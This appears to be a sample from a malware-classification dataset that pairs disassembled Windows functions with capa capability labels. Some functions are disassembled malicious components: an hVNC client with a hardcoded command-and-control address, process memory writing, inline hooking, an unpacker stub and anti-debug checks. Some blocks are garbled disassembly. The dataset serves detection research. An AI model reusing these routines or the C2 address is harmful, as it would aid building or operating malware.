joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400192b8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001933f
mov rsi, rbx
cmp word [rax], bp
je 0x1400192fe
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400192e8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400192e4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016ae8
mov rdi, rax
test rax, rax
je 0x14001932c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001fed0
mov rbp, rdi
xor ecx, ecx
call fcn.140015bf8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001b4ac
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001b4c2
mov al, 1
jmp 0x14001b522
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001b4d3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14001b520
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019600
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001b520
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14001b520
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14001b520
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001b522
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x14001f740
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f768
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001f768
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400032d0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000331a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000331a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000331a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000331a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000331a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000331c
xor al, al
add rsp, 0x28
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
pop rcx
mov word [rbx + 0x5e], gs
int1
adc al, byte [rsi + rax*4 + 0x767d929e]
add al, 0x5d
iretd
Function at 0x140007f00
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x140007f24
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
je 0x140007fb2
mov rdi, r15
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140007f80
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x140007f80
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.140138ea0
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140007f9d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140007fa5
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x140007f41
mov rbp, qword [rsp + 0x40]
sub r15, rdi
jmp 0x140008090
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x140007fc9
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140007fcb
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140007ffd
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.140138ea0
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000808d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140008038
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x14000806e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.1400d9320
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x14000808d
cmp rsi, rax
ja 0x140008041
test rsi, rsi
je 0x14000808d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1400d9320
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x48]
mov rax, r15
mov rdi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
Function at 0x180001dd8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov edi, r9d
lea rax, [r11 + 0x20]
mov r14, r8
mov qword [r11 - 0x38], rax
xor ebx, ebx
mov r8d, edi
mov rsi, rdx
mov rbp, rcx
lea r9d, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x180001e5b
lea rax, [rsp + 0x30]
mov r9d, edi
mov r8, r14
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180001e3d
cmp qword [rsp + 0x30], rdi
lea eax, [rbx + 1]
cmove ebx, eax
mov r9d, dword [rsp + 0x78]
lea rax, [rsp + 0x78]
mov r8, rdi
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rbp, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x180001fb0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rsi
sub rsp, 0x2f0
xor ebx, ebx
test edx, edx
je 0x1800020ff
sub edx, 1
je 0x180002016
sub edx, 1
je 0x180001ff8
cmp edx, 1
jne 0x18000216f
cmp dword [0x18003564c], ebx
jne 0x18000216f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
call fcn.18000a334
jmp 0x18000216f
cmp dword [0x18003564c], ebx
jne 0x18000216f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
call fcn.18000a200
jmp 0x18000216f
mov eax, 1
lock xadd dword [0x180035648], eax
inc eax
cmp eax, 1
jne 0x18000216f
mov rdx, r8
mov qword [0x180035688], rcx
call fcn.180001e98
test eax, eax
jne 0x18000204d
mov dword [0x180035660], 1
jmp 0x180002004
mov esi, 2
cmp eax, esi
jne 0x1800020f7
mov ecx, 0x202
lea rdx, [rsp + 0x150]
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rax, [rsp + 0x308]
mov word [rsp + 0x30], si
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x308], 0x10
mov edx, esi
lea rcx, str.5.8.88.33:8888
call qword [sym.imp.WS2_32.dll_WSAStringToAddressW]
call fcn.180002188
mov ebx, eax
call fcn.1800021b4
mov r8d, eax
lea rdx, str.B4ND1D0SHVNC_CLIENT__08X_08X
mov r9d, ebx
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [0x180035650]
call sym.vncdll64.dll_VncStartServer
mov dword [0x180035660], 1
mov dword [0x18003564c], 1
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18000216f
mov dword [0x180035660], ebx
jmp 0x18000216f
or eax, 0xffffffff
lock xadd dword [0x180035648], eax
cmp eax, 1
jne 0x18000216f
cmp dword [0x18003564c], ebx
je 0x180002128
mov rcx, qword [0x180035650]
test rcx, rcx
je 0x180002128
call sym.vncdll64.dll_VncStopServer
cmp dword [0x180035660], ebx
je 0x18000216f
mov rcx, qword [0x1800356a0]
test rcx, rcx
je 0x18000216f
call qword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.180002820
call fcn.18000872c
lea rcx, [0x1800356c8]
call fcn.180003f5c
call fcn.180002604
mov rcx, qword [0x180035658]
test rcx, rcx
je 0x18000216f
call qword [sym.imp.KERNEL32.dll_HeapDestroy]
mov eax, dword [0x180035660]
mov rbx, qword [rsp + 0x300]
add rsp, 0x2f0
pop rsi
ret
Function at 0x18001b11c
Capabilities:
Log keystrokes via polling
Shutdown system

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov ebx, ecx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LookupPrivilegeValueA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.advapi32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.AdjustTokenPrivileges
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or qword [rsp + 0x58], 0xffffffffffffffff
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
lea edx, [r8 + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
xor ebp, ebp
test eax, eax
jne 0x18001b1b4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18001b208
lea r8, [rsp + 0x34]
mov dword [rsp + 0x30], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x3c], 2
xor ecx, ecx
call rdi
test eax, eax
je 0x18001b1fd
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rbp
call rsi
test eax, eax
je 0x18001b1fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x18001b21b
or ebx, 4
xor edx, edx
mov ecx, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
sub rsp, 0x28
movzx ecx, dx
cmp ecx, 0x6c
ja 0x18001b3bd
je 0x18001b3b2
sub ecx, 0x64
je 0x18001b3a9
sub ecx, 1
je 0x18001b3a0
sub ecx, 1
je 0x18001b395
sub ecx, 1
je 0x18001b38c
sub ecx, 1
je 0x18001b379
sub ecx, 2
je 0x18001b370
cmp ecx, 1
jne 0x18001b419
lea rdx, str.compmgmt.msc
lea rcx, str.mmc.exe
jmp 0x18001b414
lea rdx, str.diskmgmt.msc
jmp 0x18001b364
lea rdx, str._name_Microsoft.DeviceManager
lea rcx, str.control.exe
jmp 0x18001b414
lea rdx, str._name_Microsoft.System
jmp 0x18001b380
xor edx, edx
lea rcx, str.eventvwr.exe
jmp 0x18001b414
lea rdx, str._name_Microsoft.PowerOptions
jmp 0x18001b380
lea rdx, str._name_Microsoft.ProgramsAndFeatures
jmp 0x18001b380
xor edx, edx
lea rcx, str.cmd.exe
jmp 0x18001b414
sub ecx, 0x6d
je 0x18001b406
sub ecx, 1
je 0x18001b3ff
sub ecx, 1
je 0x18001b3f4
sub ecx, 3
je 0x18001b3e6
sub ecx, 1
je 0x18001b3df
cmp ecx, 1
jne 0x18001b419
xor ecx, ecx
jmp 0x18001b3eb
mov ecx, 2
jmp 0x18001b3eb
mov ecx, 1
add rsp, 0x28
jmp 0x18001b11c
xor edx, edx
lea rcx, [0x180029180]
jmp 0x18001b414
xor edx, edx
jmp 0x18001b380
lea rdx, [0x18002b390]
lea rcx, str.taskmgr.exe
call fcn.180020890
add rsp, 0x28
ret
Function at 0x18001b324
Capabilities:
Log keystrokes via polling
Shutdown system

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov ebx, ecx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.LookupPrivilegeValueA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.advapi32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.AdjustTokenPrivileges
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or qword [rsp + 0x58], 0xffffffffffffffff
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea r9, [rsp + 0x58]
mov rcx, rax
lea edx, [r8 + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
xor ebp, ebp
test eax, eax
jne 0x18001b1b4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18001b208
lea r8, [rsp + 0x34]
mov dword [rsp + 0x30], 1
lea rdx, str.SeShutdownPrivilege
mov dword [rsp + 0x3c], 2
xor ecx, ecx
call rdi
test eax, eax
je 0x18001b1fd
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbp
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rbp
call rsi
test eax, eax
je 0x18001b1fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x18001b21b
or ebx, 4
xor edx, edx
mov ecx, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
jmp qword [sym.imp.USER32.dll_ExitWindowsEx]
sub rsp, 0x28
movzx ecx, dx
cmp ecx, 0x6c
ja 0x18001b3bd
je 0x18001b3b2
sub ecx, 0x64
je 0x18001b3a9
sub ecx, 1
je 0x18001b3a0
sub ecx, 1
je 0x18001b395
sub ecx, 1
je 0x18001b38c
sub ecx, 1
je 0x18001b379
sub ecx, 2
je 0x18001b370
cmp ecx, 1
jne 0x18001b419
lea rdx, str.compmgmt.msc
lea rcx, str.mmc.exe
jmp 0x18001b414
lea rdx, str.diskmgmt.msc
jmp 0x18001b364
lea rdx, str._name_Microsoft.DeviceManager
lea rcx, str.control.exe
jmp 0x18001b414
lea rdx, str._name_Microsoft.System
jmp 0x18001b380
xor edx, edx
lea rcx, str.eventvwr.exe
jmp 0x18001b414
lea rdx, str._name_Microsoft.PowerOptions
jmp 0x18001b380
lea rdx, str._name_Microsoft.ProgramsAndFeatures
jmp 0x18001b380
xor edx, edx
lea rcx, str.cmd.exe
jmp 0x18001b414
sub ecx, 0x6d
je 0x18001b406
sub ecx, 1
je 0x18001b3ff
sub ecx, 1
je 0x18001b3f4
sub ecx, 3
je 0x18001b3e6
sub ecx, 1
je 0x18001b3df
cmp ecx, 1
jne 0x18001b419
xor ecx, ecx
jmp 0x18001b3eb
mov ecx, 2
jmp 0x18001b3eb
mov ecx, 1
add rsp, 0x28
jmp 0x18001b11c
xor edx, edx
lea rcx, [0x180029180]
jmp 0x18001b414
xor edx, edx
jmp 0x18001b380
lea rdx, [0x18002b390]
lea rcx, str.taskmgr.exe
call fcn.180020890
add rsp, 0x28
ret
Function at 0x140055d10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140055d1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140055d2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140055d15
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140055d45
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140055d32
sub eax, 3
jb 0x140055d5f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140055d96
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140055d86
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140055d84
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140055d73
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140055cd2
jmp 0x140055d1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x28800
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140055de2
cmp rsi, rcx
jae 0x140055dea
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140055dc9
cmp al, 0x8f
ja 0x140055dc9
cmp byte [rsi - 2], 0xf
je 0x140055dcf
sub al, 0xe8
cmp al, 1
ja 0x140055db3
cmp rsi, rcx
jae 0x140055dea
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140055db9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140055dea
lodsb al, byte [rsi]
jmp 0x140055dc9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x53000]
mov eax, dword [rdi]
or eax, eax
je 0x140055e53
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5656c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140055df7
jns 0x140055e2c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x140055e36
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140055e4d
mov qword [rbx], rax
add rbx, 8
jmp 0x140055e17
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140055e8d
cmp al, 0xef
ja 0x140055e7f
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x140055e5f
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140055e6e
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140055ee1
sub rsp, 0xffffffffffffff80
jmp 0x14000b310
Function at 0x18007ec74
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rbx, rcx
je 0x18007ecd8
xor edi, edi
cmp dword [rcx + 0xc], edi
jbe 0x18007ecc6
mov r8, qword [rbx]
xor edx, edx
mov r8d, dword [r8 + rdi*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18007ecbf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [rbx + 0xc]
jb 0x18007ec93
mov r8, qword [rbx]
xor edx, edx
mov rcx, qword [0x180207d40]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x18007ece8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov eax, ecx
mov esi, edx
imul rbx, rax, 0x38
add rbx, qword [0x1802088d0]
mov rdx, qword [rbx]
mov cl, byte [rbx + 0x20]
mov rbp, rdx
lea rdi, [rdx - 5]
and cl, 1
je 0x18007ed1e
mov rbp, rdi
movzx eax, cl
lea r9, [rsp + 0x40]
test cl, cl
mov r8d, 0x40
cmove rdi, rdx
lea r14, [rax*2 + 5]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x18007ed54
mov eax, 0xa
jmp 0x18007ede3
test esi, esi
je 0x18007ed76
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, ebp
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18007ed97
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x18007ed97
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x18007ed91
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
mov al, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x18007ed97
mov al, byte [rbx + 0x1c]
mov byte [rdi + 4], al
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, r14
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov al, sil
shl sil, 2
add al, al
xor al, byte [rbx + 0x20]
and al, 2
xor al, byte [rbx + 0x20]
xor sil, al
and sil, 4
xor sil, al
mov byte [rbx + 0x20], sil
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x18007f2a8
Capabilities:
Check for software breakpoints

Disassembly:
mov r8b, byte [rcx]
mov r9d, edx
test r8b, r8b
je 0x18007f2bf
cmp r8b, 0x90
je 0x18007f2bf
cmp r8b, 0xcc
jne 0x18007f2e1
mov r10d, 1
mov edx, r10d
cmp r9d, r10d
jbe 0x18007f2dd
mov eax, edx
cmp byte [rax + rcx], r8b
jne 0x18007f2e1
add edx, r10d
cmp edx, r9d
jb 0x18007f2cd
mov eax, r10d
ret
xor eax, eax
ret